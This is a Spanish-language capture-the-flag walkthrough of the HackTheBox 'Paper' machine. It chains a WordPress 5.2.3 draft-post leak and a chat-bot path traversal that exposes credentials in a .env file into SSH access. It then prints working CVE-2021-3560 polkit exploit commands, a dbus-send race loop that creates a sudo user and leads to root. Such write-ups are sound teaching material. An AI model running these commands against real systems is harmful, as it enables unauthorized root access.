HackTheBox - Paper


Creado
HackTheBox - Paper

Máquina Linux (CentOS) nivel fácil. Un hostname que se esconde, rayos X contra posts también escondidos, un bot nos habla de contraseñas y aprovechamos para romper el tiempo afectando a Polkit.

TL;DR (Spanish writeup)

Creada por: secnigma.

¿Con qué escondido ah?

Nos encontramos un servidor web que esconde el header X-Backend-Server con un hostname, con este nuevo sitio explotaremos una vulnerabilidad de Wordpress que expone los posts que sean -borradores- o estén -privados- en la base de datos. Usando la información obtenida llegaremos a un nuevo subdominio y un chat de empleados. El chat cuenta con un bot el cual juega con el sistema de dos formas, lista el contenido de carpetas y lee el contenido de archivos, moviendo y moviendo llegaremos a unas credenciales válidas para obtener una sesión en el sistema como el usuario dwight.

Utilizando linpeas.sh veremos que el sistema es vulnerable al CVE-2021-3560, esta vuln aprovecha una embarrada de polkit con respecto a tiempos y UID’s, empleando ese CVE crearemos un usuario con permisos totales y desde ahí obtenemos una shell como el usuario root.

Clasificación de la máquina según la gentesita

Con algunos CVE y cositas publicas (tirando a la realidad) y otros juegos mentales.

El blog inicialmente fue para tener mis “notas”, nunca se sabe, quizas un dia se me olvida todo 😄 Despues surgio la otra idea, me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la ciberseguridad y no sabemos que hacer o a quien recurrir, así que si puedo ayudarlos mientras me ayudo, ¿por que no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Demosle <3

Un objetivo sin un plan solo es un deseo.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #


Enumeración de puertos con nmap 📌

Como siempre vamos a ver que puertos (servicios) tiene expuestos la máquina, ya que por ahí es por donde buscaremos la manera de explotarla, usaré nmap:

❱ nmap -p- --open -v 10.10.11.143 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función llamada extractPorts de S4vitar que me extrae los puertos en la clipboard

Nos encuentra estos servicios inicialmente:

Puerto Descripción
22 SSH: Nos permite obtener una terminal de manera segura.
80 HTTP: Servidor web
443 HTTPS: Servidor web que cuenta con un certificado para dar “seguridad”

Ahora usemos nmap para extraer más info de los puertos, como por ejemplo su versión de software y que el propio nmap ejecute por nosotros algunos scripts a ver si encuentra algo:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.143
    [*] Open ports: 22,80,443

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80,443 -sC -sV 10.10.11.143 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y nos devuelve:

Puerto Servicio Versión
22 SSH OpenSSH 8.0
80 HTTP Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9

Tenemos algunas versiones llamativas, démosle a profundidad a ver que encontramos en esta máquina…

Enumeración #


Contenido del servidor web sobre el puerto 80 📌

La respuesta por default de Apache corriendo sobre CentOS, a simple vista nada y jugando con el código fuente tampoco vemos nada…

Usando whatweb para descubrir los plugins que está corriendo la web, vemos lo que nos había reportado nmap y una cosita interesante:

Nos detecta que existe el header X-Backend-Server que es poco común y además tiene en su contenido algo relacionado con el nombre de la máquina: office.paper, veamos de que se trata ese header:

Ese header puede filtrar información interna, como por ejemplo direcciones IP y hostnames, por lo queeeeeee office.paper es un hostname, ¿no? O sea, que podríamos intentar agregarlo al /etc/hosts y ver si http://office.paper nos resuelve algo distinto al default de Apache.

¿Qué es el archivo /etc/hosts?.

❱ cat /etc/hosts
...
# --- HTB
10.10.11.143  office.paper
...

Veamos:

Y efectivamente, tenemos nuevo contenido!

Juguemos inicialmente con whatweb antes de meternos con los posts, a ver que encuentra sobre este nuevo recurso:

De primeras vemos que está montado sobre el gestor de contenido WordPress en su versión 5.2.3, como WordPress también es conocida por albergar bastantes vulns, pues vayamos a la web a buscarlas:

Explotación #

Buscamos wordpress 5.2.3 vulnerabilities.

Si vamos a las vulns que arregla la versión 5.2.4 (o sea, las que estaban si o si en la 5.2.3) tenemos:

La primera es una vuln muy interesante:

¿Post privados o en borrador? A verlos 📌

Debido a un problema con la clase que hace consultas en WordPress (WP_Query) un usuario sin autenticación puede listar los posts que estén marcados como “privados” o “borradores” :o Pues suena interesante y además la explotación es baaaaastante sencilla, pues probemos:

Pero nop, acá perdi un poquito de tiempo, pero gané encontrar este post que explora a detalle la vuln y nos la explica, pasaté por ahí:

Además de entender el cómo y porque es explotada, nos da una visión sencilla de otra cosa a probar:

Pasamos de: 
  /?static=1&order=asc
A: 
  /?static=1

😄 Una bobadita, pero que suele suceder…

Y si ahora volvemos a intentar en la web:

OPAAAA LA POPAAAA! Se nos listan los dichosos posts privados o que estaban en borrador! Se encuentran varias cositas:

  1. Un regaño a Michael para que deje de guardar secretos en los posts.
  2. Un subdominio nuevo y una ruta hacia el chat de los empleados.
  3. Michael dice que los posts no están publicados y al no estarlo, pues nadie de afuera puede acceder a ellos, ya vimos que si :P

Así que agregamos el subdominio al /etc/hosts a ver que resuelve contra la dirección IP:

❱ cat /etc/hosts
...
# --- HTB
10.10.11.143  office.paper  chat.office.paper
...

Y nos dirigimos a la ruta: http://chat.office.paper/register/8qozr226AhkCHZdyY, obtenemos:

Está corriendo el servicio Rocket.Chat:

💬 “Rocket.Chat es una plataforma de comunicación y colaboración en equipo, de código abierto, con chat en vivo, conferencias de video y audio, intercambio de archivos, traducción de mensajes y más.” ~ getapp.com

Bien, si registramos una cuenta nos pide generar un nombre de usuario, lo damos y llegamos a acá:

En la izquierda hay un apartado llamado general, vamos hacia allá:

Un chat común, peeero que si nos fijamos nos habla de un bot llamado recyclops, este sería su funcionamiento:

Es bastante texto, pero hay dos features que llaman nuestra atención:

  1. Ver el contenido de un archivo usando file <archivo>.
  2. Listar que archivos existen en X carpeta: list <carpeta>.

Yyyyy para evitar el spam en el chat general dwight (el creador del bot) permite que uno pueda enviarle mensajes directos al bot, así que empecemoooooos :P

Nos volvemos amigos del bot 📌

Empezamos listando los objetos de donde estamos:

🙂 | list

Dentro de los dos directorios y sus archivos no encontramos nada interesante, si intentamos listar objetos de otras carpetas distintas a las que obtenemos en primera medida (Directory Traversal (que es distinto a LFI)) logramos ver cositas, por ejemplo el directorio /home de dwight:

Logramos unicamente ver contenido de archivos, por esa razón es un Path Traversal y no un LFI (que permite además de ver, ejecutar contenido).

Pues existen varios objetos a los que no se nos permite el acceso, ya que no somos dwight :( Dando vueltas entre todos llegamos a la carpeta donde están los objetos asociados al bot: hubot:

🙂 | list ../../../../../../home/dwight/hubot

Algunos con nombre llamativo, si vamos recorriéndolos y caemos sobre .env obtenemos cositas:

🙂 | file ../../../../../../home/dwight/hubot/.env

Ojito, tenemos las credenciales que usa el bot para distintos procesos internos, pues podríamos probar a ver si dwight tuvo pereza y asigno esa misma contraseña a su usuario en el sistema (si no son válidas, podemos probarlas contra prisonmike en WordPress):

❱ ssh dwight@10.10.11.143

Perrrrfectoo, tenemos una shell como el usuario dwight :D Veamos como ser administradores del sistema.

Escalada de privilegios #

Después de listar procesos internos, intentar ver tareas que ejecute root, alguna task cron, permisos, SUID’s, etc. No vi nada explotable, así que me fui por el siempre fiable linpeas.sh para que con su automatización de enumeración intentara profundizar en cositas más directas y opa opa…

Descargamos el objeto linpeas.sh, lo subimos a la máquina víctima (aunque también se puede ejecutar sin subirlo, pero a mí me gusta subirlo :P) y ejecutamos:

[dwight@paper test]$ chmod +x linpeas.sh 
[dwight@paper test]$ ./linpeas.sh

Si nos fijamos, gracias a los colores del propio script y su descripción, tenemos que un posible path para escalar privilegios es que es vulnerable a un CVE:

Que sí buscamos sobre esa vuln en internet:

💂 “Si queremos hacer algo que requiera mayores privilegios, por ejemplo, crear una nueva cuenta de usuario, entonces el trabajo de polkit es decidir si se permite o no hacerlo.” ~ hackplayers.com

Nos hablan de como activar polkit mediante X herramientas, como por ejemplo dbus-send:

🌐 Que se encarga de enviar mensajes por medio del mecanismo de comunicación entre procesos llamado D-Bus.

El post nos explica de una forma hermosa el cómo se logra la explotación, para ello toma este comando como ejemplo para crear un usuario mediante dbus-send y otorgarle permisos de sudo:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:usuario1 string:"Usuario de prueba" int32:1

Y estos son los pasos por los que pasa:

Nos explican que la vuln se ejecuta al momento de iniciar el comando dbus-send y matarlo (terminarlo) mientras polkit aún lo procesa :O

Tomando como referencia los pasos anteriormente listados, nos indican:

Uhhhhhhs pailas, loco loco :P

También nos indican que esta explotación debe ejecutarse probablemente varias veces, ya que el proceso por el que pasa consta de muuchas validaciones y hay que caer satisfactoriamente en cada una de ellas…

Pues explotemos esta vaaaaainaaaaaa!!!!

Viajando a root usando el bus 📌

Lo primero que hacen es validar cuanto tiempo se demora normalmente el comando en ejecutarse, así sabemos después en cuanto debemos terminarlo o matarlo:

[dwight@paper test]$ time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:usuario1 string:"Usuario de prueba" int32:1
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real    0m0.044s
user    0m0.004s
sys     0m0.002s

Se demoró 44 milisegundos, pues debemos terminarlo en un tiempo menor a ese, por ejemplo 25 milisegundos (: Démosle forma al POC para crear el usuario lanz:

[dwight@paper test]$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lanz string:"hola como estas" int32:1 & sleep 0.025s ; kill $!

Lo ejecutamos varias veces yyyyyy debería estar creado el usuario:

Se creó el usuario, ahora debemos crear una contraseña en modo hash y después asignársela al usuario creado:

❱ openssl passwd -5 lanz
$5$setElnzAON0/GcgO$aH1rx64iKAvifLr3wuA7.sw.xMPUH.vGXPmYNF4POZ5

Y como último paso debemos asignar esa contraseña:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:'$5$setElnzAON0/GcgO$aH1rx64iKAvifLr3wuA7.sw.xMPUH.vGXPmYNF4POZ5' string:lanz & sleep 0.025s ; kill $!

Notaste /org/freedesktop/Accounts/User1005? El 1005 sale de ejecutar id -u <usuario creado>, es necesario.

Acá nos pide la contraseña, pero nos la coloca como no válida… Aunque claro, teniendo en cuenta que debemos ser muuuuy rápidos, es mejor automatizar cada paso, hacer varios intentos y al final ejecutar su lanz cada vez a ver si nos otorga la shell…

#!/bin/bash

for i in $(seq 1 20); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lanz string:"hola como estas" int32:1 & sleep 0.025s ; kill $!
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:'$5$setElnzAON0/GcgO$aH1rx64iKAvifLr3wuA7.sw.xMPUH.vGXPmYNF4POZ5' string:lanz & sleep 0.025s ; kill $!
done

(Si obtienes algo como:

Error org.freedesktop.Accounts.Error.PermissionDenied: Not authorized

Cambiaron los tiempos de demora entre ejecución y debes volver a validarlos)

Ejecutamos el script, al terminar probamos su lanz, colocamos la contraseña yyyy:

SOMOS lanz en paper y tenemos permisos de ejecución con sudo sobre toooodos los usuarioooooooos, levantemos una terminal como el usuario root:

Y SOMOS ROOOOOOOOOOOOOOOOOOOOOOOOOOT! Veamos las flags 🔥

Interesante el tema de ver los posts que están privados o en borrador, me gusto bastante eso. Lo del bot estuvo llamativo, solo que ahí (en el chat) no le vi mucho sentido y la escalada locochona, que cagadota la de polkit :P

Bueno, nos charlamos más tardesito :* Y como siempre, a seguir rompiendo de tooodoooo!!!!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus